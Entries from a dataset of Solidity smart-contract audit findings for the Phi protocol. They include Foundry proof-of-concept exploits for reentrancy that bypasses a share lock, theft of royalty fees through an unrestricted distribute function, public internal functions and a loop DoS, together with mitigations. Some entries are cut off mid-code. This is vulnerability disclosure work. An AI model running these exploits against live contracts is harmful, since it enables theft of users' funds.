xanoutas/solidity-security-findings huggingface dataset:
Reentrancy in Cred::buyShareCred allows to bypass Cred::SHARE_LOCK_PERIOD
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L178
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L641-L644


# Vulnerability details

## Impact
In previous audit report there is an issue "[H-1] Reward distribution is vulnerable to flash loan attacks". This was possible when attacker buyShares->claimRewards->sellShares in one transaction. It was fixed by adding some cooldown after buying shares - `SHARE_LOCK_PERIOD`. However, introduced fix does not fully prevents from this happening. There is still possibility to do this with reentrancy attack.

## Proof of Concept
Add this contract to `Cred.t.sol`
```solidity
contract ReentrancyBypass {
    Cred cred;
    uint256 credId;
    uint256 amount;
    uint256 minPrice;

    constructor(Cred _cred, uint256 _credId, uint256 _amount, uint256 _minPrice){
        cred = _cred;
        credId = _credId;
        amount = _amount;
        minPrice = _minPrice;
    }

    receive() external payable{
        if(cred.isShareHolder(1, address(this))){
            cred.sellShareCred(credId, amount, minPrice);
        }
    }
}
```
and this test
```solidity
    function test_bypassShareLockPeriod() public {
        _createCred("BASIC", "SIGNATURE", 0x0);
        uint256 buyPrice = bondingCurve.getBuyPriceAfterFee(1, 1, 1);

        ReentrancyBypass reentrancyBypass = new ReentrancyBypass(cred, 1, 1, 0);
        address attackerAddress = address(reentrancyBypass);

        vm.deal(attackerAddress, 1 ether);

        vm.startPrank(attackerAddress);
        cred.buyShareCred{ value: buyPrice + 1 }(1, 1, 0); //send more than buyPrice to trigger receive() function

        assertEq(cred.isShareHolder(1, attackerAddress), false); // if this passes means attacker successfully sold shares and bypassed share lock period
        vm.stopPrank();
    }
```
And run command `forge test --mt test_bypassShareLockPeriod`
The test will pass. It means attacker successfully sold shares in the same transaction and bypassed `SHARE_LOCK_PERIOD` value.

## Tools Used
Manual review, foundry

## Recommended Mitigation Steps
Follow CEI best practice in `Cred::_handleTrade`
```diff
    function _handleTrade(
        uint256 credId_,
        uint256 amount_,
        bool isBuy,
        address curator_,
        uint256 priceLimit
    )
        internal
        whenNotPaused
    {
        if (amount_ == 0) {
            revert InvalidAmount();
        }

        if (!isExist(credId_)) {
            revert InvalidCredId();
        }

        PhiCred storage cred = creds[credId_];

        uint256 supply = cred.currentSupply;
        address creator = cred.creator;

        (uint256 price, uint256 protocolFee, uint256 creatorFee) =
            IBondingCurve(cred.bondingCurve).getPriceData(credId_, supply, amount_, isBuy); //suply is 0 when creating, what is the price?

        if (isBuy) {
            if (priceLimit != 0 &
Anyone can call CuratorRewardsDistributor::distribute and claim royalty fee
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L77


# Vulnerability details

## Impact
In function `CuratorRewardsDistributor::distribute` there is reward distribution for proper users, but there is also calculated `royaltyFee` and it is sent to `_msgSender()`. Currently everyone can call this function so royalty fee can be stolen.

## Proof of Concept
Copy this test to `CuratorRewardsDistributor.t.sol`
```solidity
    function test_anyoneCanDistribute() public {
        uint256 credId = 1;
        uint256 depositAmount = 1 ether;

        // Deposit some ETH to the curatorRewardsDistributor
        curatorRewardsDistributor.deposit{ value: depositAmount }(credId, depositAmount);

        // Signal creds for different users
        vm.startPrank(user1);
        vm.deal(user1, bondingCurve.getBuyPriceAfterFee(credId, 1, 1));
        cred.buyShareCred{ value: bondingCurve.getBuyPriceAfterFee(credId, 1, 1) }(credId, 1, 0);
        vm.stopPrank();

        vm.startPrank(user2);
        vm.deal(user2, bondingCurve.getBuyPriceAfterFee(credId, 2, 2));
        cred.buyShareCred{ value: bondingCurve.getBuyPriceAfterFee(credId, 2, 2) }(credId, 2, 0);
        vm.stopPrank();

        address randomUser = makeAddr("randomUser");
        uint256 startingRandomUserBalance = randomUser.balance;

        // Distribute rewards
        vm.prank(randomUser);
        curatorRewardsDistributor.distribute(credId);

        assertEq(startingRandomUserBalance, 0);
        assert(randomUser.balance > 0); // randomUser was able to get royalty fees
    }
```
and run `forge test --mt test_anyoneCanDistribute`
The test will pass. It means balance of random user is greater than 0 and he was able to steal `royaltyFee`

## Tools Used
Manual review, foundry

## Recommended Mitigation Steps
Add proper access modifier to `CuratorRewardsDistributor::distribute`
```diff
+    function distribute(uint256 credId) external onlyOwner {
-    function distribute(uint256 credId) external {
        if (!credContract.isExist(credId)) revert InvalidCredId();
        uint256 totalBalance = balanceOf[credId];
        if (totalBalance == 0) {
            revert NoBalanceToDistribute();
        }

        address[] memory distributeAddresses = credContract.getCuratorAddresses(credId, 0, 0);
        uint256 totalNum;

        for (uint256 i = 0; i < distributeAddresses.length; i++) {
            totalNum += credContract.getShareNumber(credId, distributeAddresses[i]);
        }

        if (totalNum == 0) {
            revert NoSharesToDistribute();
        }

        uint256[] memory amounts = new uint256[](distributeAddresses.length);
        bytes4[] memory reasons = new bytes4[](distributeAddresses.length);

        uint256 royaltyfee = (totalBalance * withdrawRoyalty) / RATIO_BASE;
        uint256 distributeAmount = totalBalance - royaltyfee;

        // actualDistributeAmount is used to avoid ro
`_removeCredIdPerAddress` and `_addCredIdPerAddress` are public, allowing unauthorized manipulation of user credentials
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L695
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L685


# Vulnerability details

## Impact
The `_removeCredIdPerAddress` and `_addCredIdPerAddress` functions in the Cred contract are declared as public, which allows any external actor to call these functions directly. This poses a significant security risk as these functions are responsible for managing the association between users and their credential IDs.
Besides having The integrity of the credential system compromised, one of the examples of high severity impact is that sellers won't be able to sell all their shares as when someone sells all their shares he's deleted, in `_updateCuratorShareBalance`
```javascript
function _updateCuratorShareBalance(uint256 credId_, address sender_, uint256 amount_, bool isBuy) internal {
        (, uint256 currentNum) = shareBalance[credId_].tryGet(sender_);

        if (isBuy) {
            if (currentNum == 0 && !_credIdExistsPerAddress[sender_][credId_]) {
                _addCredIdPerAddress(credId_, sender_);
                _credIdExistsPerAddress[sender_][credId_] = true;
            }
            shareBalance[credId_].set(sender_, currentNum + amount_);
        } else {
            if ((currentNum - amount_) == 0) {
                _removeCredIdPerAddress(credId_, sender_);
                _credIdExistsPerAddress[sender_][credId_] = false;
            }
            shareBalance[credId_].set(sender_, currentNum - amount_);
        }
    }
```
`_removeCredIdPerAddress` will revert since the credId doesn't exist anymore from `_credIdsPerAddress`

## Proof of Concept
Add an `attacker = makeAddr(("attacker"));` and place the following poc in the Cred.t.sol
```javascript
    function test_SellActionREVERT() public {
        _createCred("BASIC", "SIGNATURE", 0x0);
        _createCred("ADVANCED", "SIGNATURE", 0x0);

        vm.startPrank(anyone);
        uint256 buyPrice = bondingCurve.getBuyPriceAfterFee(1, 1, 1); // buy shares from cred 1
        uint256 maxPrice = bondingCurve.getBuyPriceAfterFee(1, 1, 2); // buy shares from cred 2

        cred.buyShareCred{ value: buyPrice }(1, 1, maxPrice);
        cred.buyShareCred{ value: buyPrice }(2, 1, maxPrice);

        vm.stopPrank();
        assertEq(cred.isShareHolder(1, anyone), true, "cred 1 is voted by anyone");
        vm.warp(block.timestamp + 10 minutes + 1 seconds);
        uint256 minPrice = bondingCurve.getSellPriceAfterFee(1, 1, 1);
        vm.startPrank(attacker);
        cred._removeCredIdPerAddress(1, anyone); // remove cred 1 from anyone
        vm.stopPrank();
        vm.startPrank(anyone);
        cred.sellShareCred(1, 1, minPrice);
        assertEq(cred.isShareHolder(1, anyone), false, "cred 1 isnt voted by anyone");
    }
```
## Tools Used
Foundry
## Recommended Mitigation Steps
Change the visibility of these functions
`distribute` function can be DoS because curators array can grow indefinitely
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L84


# Vulnerability details

Arrays in solidity(and in any blockchain) can not grow indefinitely because if a contract iterate that array the execution can run out of gas because the block gas limit size now 30 million gas. (basically there is a gas that can be execute in a block). 

In the Phi protocol there is a instance where an array can grow indefinitely, this could be intentional or not intentional.

See the `distribute`  function in the `CuratorRewardsDistributor.sol`:

```solidity

    function distribute(uint256 credId) external {
        if (!credContract.isExist(credId)) revert InvalidCredId();
        uint256 totalBalance = balanceOf[credId];
        if (totalBalance == 0) {
            revert NoBalanceToDistribute();
        }

        address[] memory distributeAddresses = credContract.getCuratorAddresses(credId, 0, 0); <-------

       ...
    
        for (uint256 i = 0; i < distributeAddresses.length; i++) { <------
            address user = distributeAddresses[i];

            uint256 userAmounts = credContract.getShareNumber(credId, user);
            uint256 userRewards = (distributeAmount * userAmounts) / totalNum;

            if (userRewards > 0) {
                amounts[i] = userRewards;
                actualDistributeAmount += userRewards;
            }
        }


```
[[Link]](https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L84)

The `distributeAddresses` array can grow indefinitely therefore the execution can run out of gas and DoS the `distribute` function.

with that being say an attacker can create thousan of wallets buy just one wei of share with each wallet and DoS the distributions.

## Impact
The `distributeAddresses` array can grow indefinitely therefore the execution can run out of gas and DoS the `distribute` function which is distributing the fees among curators.

Note that this is mention in the code4arena phi audit page:

`Is it possible to intentionally target a halt when using loops?`

## Proof of Concept
We can see the `distribute` function:

```solidity

    function distribute(uint256 credId) external {
        if (!credContract.isExist(credId)) revert InvalidCredId();
        uint256 totalBalance = balanceOf[credId];
        if (totalBalance == 0) {
            revert NoBalanceToDistribute();
        }

        address[] memory distributeAddresses = credContract.getCuratorAddresses(credId, 0, 0); <-------

       ...
    
        for (uint256 i = 0; i < distributeAddresses.length; i++) { <------
            address user = distributeAddresses[i];

            uint256 userAmounts = credContract.getShareNumber(credId, user);
            uint256 userRewards = (distributeAmount * userAmounts) / totalNum;

            if (userRewards > 0) {
                amounts[i] = userReward
Attacker can front run the `createArt` function and change the config,
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/PhiFactory.sol#L207


# Vulnerability details

To create an Art a user have to get a valid signature and then call the `createArt` (normally this is handle by the front end) the problem is that the signature is not hashing all the inputs and is not checking that the caller have to be `credCreator` allowing an attacker to front run the `createArt` tx setting the inputs that are not being hashing:

```
        art.uri = createData_.uri;
        art.artist = createData_.artist;
        art.receiver = createData_.receiver;
        art.maxSupply = createData_.maxSupply;
        art.mintFee = createData_.mintFee;
        art.startTime = createData_.startTime;
        art.endTime = createData_.endTime;
        art.soulBounded = createData_.soulBounded;

```

See the next scenario:

1. Creator has a signature an call  `createArt`  function.
2. Attacker see this tx in the mempool take the signature and front run the tx calling the `createArt` with the same signature and with more gas to get his tx execute first.
3. Attacker change all the values and put whatever he want, he can just silence change the receiver.

## Impact
A malicious attacker can front run the  `createArt`  tx setting the values that are not being hashed like the artist, uri, receiver, max Supply, mint fee, see the entire list in the description

## Proof of Concept
Run the next test in `file:test/PhiFactory.sol`

```solidity


    function test_Simplecreationg() public {
        artCreator = address(1);
        address attacker = address(10);
        vm.deal(attacker, 1 ether);
        string memory artId = "sample-art-id";

        vm.startPrank(attacker);
        _createArt(artId);
    }


```
What i want to show here is that whatever person can front run a creating art call because there is check for the msg.sender equal to the artCreator.

## Tools Used
Manual

## Recommended Mitigation Steps

Consider allow to call the function just by the `credCreator` otherwise consider hashing all the values that are required to complete the `PhiArt` struct.


## Assessed type

Other
Anyone can call distribute in CuratorRewardsDistributor.sol to receive royaltyfee
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L77
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/reward/CuratorRewardsDistributor.sol#L120


# Vulnerability details

## Impact

The function `distribute` doesn't check `msg.sender`, so anyone could call this function with a valid `credId` to receive royaltyfee  should belong to a specific beneficiary.

## Proof of Concept

```
    function testattack() public {
        uint256 credId = 1;
        uint256 depositAmount = 1 ether;

        curatorRewardsDistributor.deposit{ value: depositAmount }(credId, depositAmount);

        vm.startPrank(user1);
        vm.deal(user1, bondingCurve.getBuyPriceAfterFee(credId, 1, 1));
        cred.buyShareCred{ value: bondingCurve.getBuyPriceAfterFee(credId, 1, 1) }(credId, 1, 0);
        vm.stopPrank();

        vm.startPrank(user2);
        vm.deal(user2, bondingCurve.getBuyPriceAfterFee(credId, 2, 2));
        cred.buyShareCred{ value: bondingCurve.getBuyPriceAfterFee(credId, 2, 2) }(credId, 2, 0);
        vm.stopPrank();

        address attacker = address(0xffff);
        vm.prank(attacker); 
        vm.deal(attacker, 0);
        curatorRewardsDistributor.distribute(credId); 
        assertEq(attacker.balance, 0); // it should be 0, but attacker received token by calling distribute
    }
```

the result of foundry
```
~/contest/2024-08-phi$ forge test --match-test testattack
[⠆] Compiling...
[⠰] Compiling 1 files with Solc 0.8.25
[⠒] Solc 0.8.25 finished in 5.06s
Compiler run successful!

Ran 1 test for test/CuratorRewardsDistributor.t.sol:CuratorRewardsDistributorTest
[FAIL. Reason: assertion failed: 10000000000000000 != 0] testattack() (gas: 738212)
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.92ms (609.14µs CPU time)

Ran 1 test suite in 6.43ms (3.92ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/CuratorRewardsDistributor.t.sol:CuratorRewardsDistributorTest
[FAIL. Reason: assertion failed: 10000000000000000 != 0] testattack() (gas: 738212)

Encountered a total of 1 failing tests, 0 tests succeede
```
## Tools Used
mannul view
## Recommended Mitigation Steps
add some check about `msg.sender`


## Assessed type

Access Control
_addCredIdPerAddress() function is public, but it should be internal
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L685-L692


# Vulnerability details

## Impact
Function ```_addCredIdPerAddress()``` is expected to be called by ```_updateCuratorShareBalance()``` if it is necessary to update ``` _credIdsPerAddress[], _credIdsPerAddressCredIdIndex[] and _credIdsPerAddressArrLength[]``` mappings. However, the function's visibility is 'public' and has no access control, so everyone can call it and arbitrarily modify these state variables (e.g. adding a user who is totally unrelated to credId to the mapping, for example). This does not put users' assets into risk but will make the system show incorrect data.

## Tools Used
Manual review

## Recommended Mitigation Steps
Make the function internal so that only ```_updateCuratorShareBalance()``` can call it, updating those mappings only when required.

```solidity
-function _addCredIdPerAddress(uint256 credId_, address sender_) public {
+function _addCredIdPerAddress(uint256 credId_, address sender_) internal {
        // Add the new credId to the array
        _credIdsPerAddress[sender_].push(credId_);
        // Store the index of the new credId
        _credIdsPerAddressCredIdIndex[sender_][credId_] = _credIdsPerAddressArrLength[sender_];
        // Increment the array length counter
        _credIdsPerAddressArrLength[sender_]++;
    }
```


## Assessed type

Access Control
_removeCredIdPerAddress() is public, but it  should be internal
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L695-L729


# Vulnerability details

## Impact
Function ```_removeCredIdPerAddress()``` is expected to be called by ```_updateCuratorShareBalance()``` if it is necessary to update ``` _credIdsPerAddress[], _credIdsPerAddressCredIdIndex[] and _credIdsPerAddressArrLength[]``` mappings. However, the function's visibility is 'public' and has no access control, so everyone can call it and arbitrarily modify these state variables (e.g. remove a user who has a share of credId from the mapping, for example). This does not put users' assets into risk but will make the system show incorrect data.

## Tools Used
Manual review

## Recommended Mitigation Steps
Make the function internal so that only ```_updateCuratorShareBalance()``` can call it, updating those mappings only when required.

```solidity
-function _removeCredIdPerAddress(uint256 credId_, address sender_) public {
+function _removeCredIdPerAddress(uint256 credId_, address sender_) internal {
        // Check if the array is empty
        if (_credIdsPerAddress[sender_].length == 0) revert EmptyArray();

        // Get the index of the credId to remove
        uint256 indexToRemove = _credIdsPerAddressCredIdIndex[sender_][credId_];
        // Check if the index is valid
        if (indexToRemove >= _credIdsPerAddress[sender_].length) revert IndexOutofBounds();

        // Verify that the credId at the index matches the one we want to remove
        uint256 credIdToRemove = _credIdsPerAddress[sender_][indexToRemove];
        if (credId_ != credIdToRemove) revert WrongCredId();

        // Get the last element in the array
        uint256 lastIndex = _credIdsPerAddress[sender_].length - 1;
        uint256 lastCredId = _credIdsPerAddress[sender_][lastIndex];
        // Move the last element to the position of the element we're removing
        _credIdsPerAddress[sender_][indexToRemove] = lastCredId;

        // Update the index of the moved element, if it's not the one we're removing
        if (indexToRemove < lastIndex) {
            _credIdsPerAddressCredIdIndex[sender_][lastCredId] = indexToRemove;
        }

        // Remove the last element (which is now a duplicate)
        _credIdsPerAddress[sender_].pop();

        // Remove the index mapping for the removed credId
        delete _credIdsPerAddressCredIdIndex[sender_][credIdToRemove];

        // Decrement the array length counter, if it's greater than 0
        if (_credIdsPerAddressArrLength[sender_] > 0) {
            _credIdsPerAddressArrLength[sender_]--;
        }
    }
```


## Assessed type

Access Control